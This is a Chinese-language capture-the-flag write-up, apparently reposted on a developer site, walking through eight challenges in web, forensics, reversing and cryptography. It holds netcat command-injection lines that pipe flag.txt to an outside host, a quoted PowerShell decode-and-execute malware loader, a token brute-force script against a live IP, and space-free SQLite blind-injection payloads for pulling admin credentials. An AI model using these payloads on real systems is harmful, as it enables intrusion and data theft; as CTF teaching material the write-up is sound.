内容简介:挑战
挑战 1 – 废弃的筒仓
类别: Web
这个挑战题目的页面向我们展示了一个表单,在输入框可以指定参数来 ping 我们输入的 ip 。页面提供了一个线索,告知我们 flag 在文件 flag.txt 中。
我们尝试注入使用netcat建立反向连接的命令,127.0.0.1;nc reverse.sistec.es 8080。
我们验证了反向连接已经成功建立,我们可以通过这个反向的 shell 来读取保存 flag 的 flag.txt 文件。
127.0.0.1;cat flag.txt|nc reverse.sistec.es 8080
我们成功读取到了服务器上的 flag 。
挑战 2 – PARANORMALGLITCH
类别:电子取证
这道题目是在 JPG 图像中找到 flag 。为方便起见,我们将使用 gatos.jpg 作为要分析的文件的名称。
该文件的大小是 670081 字节,
file gatos.jpg gatos.jpg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, progressive, precision 8, 1920x1024, frames 3
我们 可以使用一些签名搜索工具,例如binwalk,photorec和或者是foremost。
使用foremost工具,我们得到了相同的JPG图 像,但大小为 196951 字节。我们怀疑在 JPG 图像之后还隐藏着另一个文件或重要数据。
我们从偏移量 196951 中提取数据
dd if=gatos.jpg of=part2 bs=1 skip=196951
我们分 析这个新的文件part2。很快,我们就看到有IHDR和IDAT 字符串的存在,所以,看起来我们找到的这个文件应该是一个 PNG 图片。
xxd part2 |head 00000000: 0d0a 1a0a 0000 000d 4948 4452 0000 0400 ........IHDR.... 00000010: 0000 0288 0806 0000 00ee 2e88 0c00 0000 ................ 00000020: 0662 4b47 4400 ff00 ff00 ffa0 bda7 9300 .bKGD........... 00000030: 0020 0049 4441 5478 daec dde9 93a4 5776 . .IDATx......Wv 00000040: dff7 efbd f759 72ab acbd 7a43 3730 0007 .....Yr...zC70.. 00000050: 98c1 7048 0ec5 4594 4c29 4221 4b61 5bf2 ..pH..E.L)B!Ka[. 00000060: a208 ff3d e2df e1b0 432f 1cb2 23ec b06c ...=....C/..#..l 00000070: 5914 456d 2629 919c 2139 43ce 7008 6200 Y.Em&)..!9C.p.b. 00000080: 34d0 68f4 5a5d 5d6b aecf 72ef f58b 2733 4.h.Z]]k..r...'3 00000090: 2bbb d0d5 682c 33e8 46ff 3e98 8cca caaa +...h,3.F.>.....
我们将此文件的开头与另一个 PNG 文件或维基百科中显示的示例图片进行比较。
我们看到这个文件丢失了 PNG 文件头的前 4 个字节(因此数据恢复程序没有识别出这是个 PNG 图片文件)。我们 用xxd和cat把文件头的前四个字节添 加进去。
echo 89504e47 | xxd -ps -r > pngheader cat pngheader part2 > image.png
这个图片 文件不是100%的正确,并且不是所有的看图软件都能正常打开,即使是这种情况,我们也可以使用GIMP正常打开查看图片并获得flag。
挑战 3 – 后门分析 1
类别:电子取证
接下来的题目是分析一个操作系统是 Ubuntu 16.04 的受感染的虚拟机。
我们使用用户 ctf 访问服务器,然后使用 su 命令切换到服务器的管理员用户来进行更彻底的分析。
一开始我们收到一条错误的消息,这条错误信息告诉我们有一些东西被感染了。
在 .bashrc 文件的末尾我们看到有一个可执行文件,隐藏的是方式是尝试使用多次换行。
/bin/sh311.x
我们分析这个二进制文件并使用 ltrace 观察如何生成 flag 的字符串。
挑战 4 – 后门分析 2
类别:电子取证
第二个后门是我在使用 ps 查看了正在运行的进程后找到的。
我们分析二进制文件 /usr/sbin/psl 并使用 strings 获取到 base64 编码过的字符串。
Watch this: dV9SVAETWkATdX9ydEgDCwQAVQZSCgsFClBVVgJSBQNQVwACAlcDV1cAB1IBCk45Cg==
使 用Auto Solver里的PatataUtils工具类,我们解码了 base64的内容并获得了flag。
在复杂的编码方式中,必须使用XOR 0x33对文本进行解 密 / 解码。
PS :受感染的二进制文件是 /bin/ls
挑战 5 – 网络犯罪分析
类别:电子取证
在此挑战中,我们被要求分析恶意软件 do_not_remove.bat 然后找到 flag 。
在第一次分析中,我们发现它是一个 powershell 脚本,它执行了 Base64 中编码过的代码。
Invoke-Expression $(New-Object IO.StreamReader ( $(New-Object IO.Compression.DeflateStream ( $(New-Object IO.MemoryStream (, $([Convert]::FromBase64String("...")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();
我们解码 base64 中的文本得到了一个二进制文件,如果我们查看代码,我们接下来回看到程序是如何使用 CompressionDeflateStream 函数的。
base64 -d b64.txt > bin printf "\x1f\x8b\x08\x00\x00\x00\x00\x00\x00\x00" |cat - bin |gzip -dc > code
此代码中最可疑的部分是在 User-Agent 中发送的十六进制字符串。在尝试对其进行解码之后,我们可以发现,从 1f 8b 08 00 字节开始是另一个 gzip 文件 。
echo 1f8b08004b17425b0003f32f4ab70acd4d2a4acdc949b456f0c82f2eb10a700cb756082d4e2db24ac9cf4dcccc4b4cc9cdccb35670cb494cb772f37174af4e4e4a4b3233374b4d4c363632304f364849324d31324f33b54c35354e333432ab05006811b54b55000000 |xxd -ps -r |gzip -dc Org:Umbrella; Host:PAW; User:domainadmin; Flag:FLAG{cbfb676eac3207c0db5d27f59e53f126}
挑战 6 – ARMOURED KITTEN
类别:逆向
这个题目是逆向一个 ARM64 的二进制文件获得 flag 。
file re1 re1: ELF 64-bit LSB executable, ARM aarch64, version 1 (SYSV), statically linked, for GNU/Linux 3.7.0, BuildID[sha1]=48e70b04d5fdfcaccb8442dda6fec030f0f6b822, stripped
我们首先遇到的第一个困难是我们无法在 x64 架构的机器上原生的执行这个二进制文件。我们可以安装 qemu 来执行并调试这个程序。
当我们执行二进制文件时,程序会等待我们输入一些文本并检查输入的内容是否正确。
qemu-aarch64 ./re1 wat do u want? patatas oh noes! you no haz flag!
使用反汇编程序( r2 , gdb , IDA )分析二进制文件时,我们看到输入正确的内容时程序输出的文本是
yes, u got it! submit!
我们使用 IDA X-Rays 来反编译代码并进一步理解二进制文件的操作。
我们看到一系列循环操作,其中验证我们输入的字符是否正确的逻辑符合一系列线性方程。 这个挑战与baby-re非常相似,我在2016年在DEFCON的CTFC的分类中解决过这个问题。
这个挑战可以通过工具angr快速解决,或者用更费力的方式,例如提取方程并用数学软件来 解决。
在这种情况下 ,在用angr测试后没有获得我们想要的结果,因此我们转向PlanB并以尽可能最快和最自动化的方式提取所有 的方程。
调试我们使用的程序:
qemu-aarch64 -g 3000 ./re1
使用针对 ARM 平台的 p3da 插件 peda-arm 执行 gdb-multiarch
在启动 GDB 之后我们使用 target remote localhost:3000
在这个过程中,我们获得了完成方程的值的存储器地址,第一个是 0x48d010 , 程序从这个地址的内存中提取 flag 的每个字符的系数。第二个是 0x520A90 ,程序从这个地址的内存中提取等式必须满足的值。
这些值不在单个存储器地址中,但是对于循环中的每次迭代,这些值是从不同的存储器地址获得的。
使用 radare2 的 iS 命令,我们获得了下面这些文件 “ 节 ” 所在文件的偏移量:
> iS [Sections] 00 0x00000000 0 0x00000000 0 ---- 01 0x00000190 32 0x00400190 32 -r-- .note.ABI_tag ... 23 0x0007d000 641688 0x0048d000 641688 -rw- .data 24 0x00119a98 0 0x00529a98 5952 -rw- .bss 25 0x00119a98 0 0x0052b1d8 48 -rw- libc_freeres_ptrs ...
因此,我们得到了 0x7D010 和 0x110A90 。
我们用 dd 剪切二进制文件并提取这些部分:
dd if=re1 of=bin1 bs=1 skip=512016 dd if=re1 of=bin2 bs=1 skip=1116816
对于 20 个未知数,在最好的情况下我们只需要 20 个方程,没有必要提取程序评估的数千个方程,因此,我们只提取前 120 个。
import struct bin1 = open('bin1','rb') data1 = bin1.read() bin2 = open('bin2','rb') data2 = bin2.read() var = 'ABCDEFGHIJKLMNOPQRST' var_maxima = 'A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T' final_equation = '' for k in range(0,3): for l in range(0,5): for m in range(0,2): for n in range(0,4): equation = '' xx = 0 for ii in range(0,20): i = ii + 20*n + 80*m + 160*l + 800*k x = struct.unpack('<L', data1[4*i:4*i+4])[0] if x!=0: equation += '(%s*%s)' % (var[ii], x) if(ii<19): equation += "+" j = n + 4*m + 8*l + 40*k y = struct.unpack('<L', data2[4*j:4*j+4])[0] final_equation += '%s=%d,' % (equation,y) final_equation = final_equation[:-1] print('linsolve([%s],[%s]);' % (final_equation,var_maxima))
我们执行脚本并获得了方程式, 我们将这些方程式传递给wxmaxima来解方程式。
python re1.py |maxima Maxima 5.42.1 http://maxima.sourceforge.net using Lisp GNU Common Lisp (GCL) GCL 2.6.12 Distributed under the GNU Public License. See the file COPYING. Dedicated to the memory of William Schelter. The function bug_report() provides bug reporting information. (%i1) solve: dependent equations eliminated: (24 23 22 21) (%o1) [A = 109, B = 101, C = 32, D = 99, E = 97, F = 110, G = 32, H = 104, I = 97, J = 122, K = 32, L = 117, M = 114, N = 32, O = 102, P = 108, Q = 97, R = 103, S = 122, T = 63]
我们获取到了 Flag 的十进制格式,我们将其转换为 ascii 来获取 flag 的文本。
me can haz ur flagz?
挑战 7 – CRYPTOKENITA
类别:密码学
在此挑战中,我们提供 了nodeJS应用程序的源代码。目标是找到一个正确的令牌来获得flag 。
总之,我们需要生成一个 8 字节的令牌,并且以 base64 编码格式发送。
以下是该应用程序中最重要最关键的代码部分。
function tokenGen() { return crypto.randomBytes(8).toString(); } app.post('/guess', function (req, res, next) { var token = req.body.token; // No hack if(!_.isString(token) || !_.isBuffer(Buffer.from(token, 'base64')) || !_.isString(Buffer.from(token, 'base64').toString('utf8'))) { res.render('hacker', {title: title}); return; } token = Buffer.from(token, 'base64').toString('utf8'); if(req.session && req.session.token && req.session.token === token) { res.render('flag', {title: title, flag: config.flag}); return; } res.render('no_flag', {title: title}); });
如果我们详细分析代码,我们将观察到 在toString函数中它使用了UTF8编码。此编码是多字节的,2个字节用于表示字符0x80到0xff,因此使用字面上的0x80到0xff会返回编 码错误。
知道了这一点,我们就只需要用 0xffffffff 这个值进行多次无效尝试,直到我们得到 flag 。
import urllib.parse import requests user_agent = 'Mozilla/5.0' for i in range(10000): headers = { 'User-Agent' : user_agent, 'Connection': 'keep-alive'} url = 'http://54.36.134.37:32009' r = requests.get(url, headers=headers) data = r.text print(urllib.parse.unquote(r.cookies['connect.sid'])) url2 = 'http://54.36.134.37:32009/guess' headers = { 'User-Agent' : user_agent, 'Connection': 'keep-alive','Content-Type':'application/x-www-form-urlencoded'} headers['Cookie'] = 'connect.sid=' + r.cookies['connect.sid'] r2 = requests.post(url2, data='token=//////////8', headers=headers) data2 = r2.text print(data2) if 'No flag' not in data2: break
挑战 8 – LOGINDENOID
类别: Web
这个挑战有两个部分。首先,我们需要在登录页面以任何方式进行身份验证。跳转到后台页面后,你将不得不利用 SQL 注入来提取管理员凭据然后获取 flag 。
登录绕过
登录请求有 3 个参数:
· username
· password
· loginMethod
在用户名或密码 中未找到任何注入后,我们尝试修改loginMethod。
如果我 们将loginMethod参数修改为其他字符串,我们会得到以下错误,表明此方法或函数不存在 。
user[loginMethod] is not a function
使用一些词典进行模糊测试后,我们发现使用构造函数这个字符串获得了不同的响应。
Class constructor User cannot be invoked without 'new'
最后,我们 __defineGetter__ 设法进行登录绕过。
SQL 注入
登录到后台,我们就可以选择查看新闻。
/news/item?id=1
通过简单的单引号注入,我们发现返回错误 Database error ,因此可能存在 SQL 注入。
第一步是尝试一个布尔注入,在测试了 SQL 的一些字符或 payload 后,我们意识到这个应用程序有阻止 SQL 注入攻击的规则,返回了错误 Blacklisted 。
其中一个被阻止的字符是空格,因此我们应该在不使用它们的情况下构建 SQL 注入查询语句,比如尽可能使用括号。
/news/item?id=2'and'1 (BOOLEAN TRUE, devuelve la noticia 2) /news/item?id=2'and'0 (BOOLEAN FALSE, devuelve 'Noticia no encontrada')
基于此布尔注入,我们必须构造更复杂的查询语句才能从数据库中获取信息,首先,我们需要确定服务器使用的是哪种类型的数据库。
这里最重要的方法之一是尝试使用 MID 函数( SUBSTRING 的别名),不过服务器返回了错误,这表明所服务器使用的数据库引擎不支持这个函数。
经过长时间的调 查后,确定数据库可以是SQLite。那我们就有使用GLOB功能的可能性了。
GLOB函数可以与通配符'*'或'?'一起使用。在这种情况下,不允许使用星号,因此我们可以使用询问字符'?'。
这个通配符等同于一个字符,因此要发现字段的大小,我们必须使用不同的长度进行暴力破解。
注 入语句采用以下形式,替换TABLE,COLUMN和'?'的数量。
'and(SELECT(1)from(TABLA)WHERE(glob('????',COLUMNA)))and'1
一旦我们知道了要提取的字段的大小,我们就一个字符一个字符的进行猜解,假设某些字符或单词被禁止,我们在找不到匹配的情况下可以使用其他方法。
提取表名: TABLE ='sqlite_master'COLUMN ='tbl_name'
· news
· users
· admins
· sqlite_sequence
admins 表的列:
'and(SELECT(1)from(sqlite_master)WHERE(glob('admins',tbl_name)and(glob('????',sql))))and'1 CREAT??TABLE?admins?ID?INTEGE??PRIMARY?KEY?AUTOINCREMENT??u53rn4m333?TEX??NO??NUL??UNIQUE??p455w0rddd?TEX??NO??NUL??
· u53rn4m333
· p455w0rddd
我们最终从 admins 表中提取了用户名和密码
查看密码字符串的长度,我们可以假设它是一个 SHA256 哈希字符串,我们使用 hashcat 来进行破解。
获 得管理员用户名和密码后,我们通过修改loginMethod的值为loginAdmin进行登录。
登录成功后,我们就得到了 flag 。
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Effective Ruby:改善Ruby程序的48条建议
Peter J. Jones / 杨政权、秦五一、孟樊超 / 机械工业出版社 / 2016-1 / 49
如果你是经验丰富的Rub程序员,本书能帮助你发挥Ruby的全部力量来编写更稳健、高效、可维护和易执行的代码。Peter J.Jones凭借其近十年的Ruby开发经验,总结出48条Ruby的最佳实践、专家建议和捷径,并辅以可执行的代码实例。 Jones在Ruby开发的每个主要领域都给出了实用的建议,从模块、内存到元编程。他对鲜为人知的Ruby方言、怪癖、误区和强力影响代码行为与性能的复杂性的揭......一起来看看 《Effective Ruby:改善Ruby程序的48条建议》 这本书的介绍吧!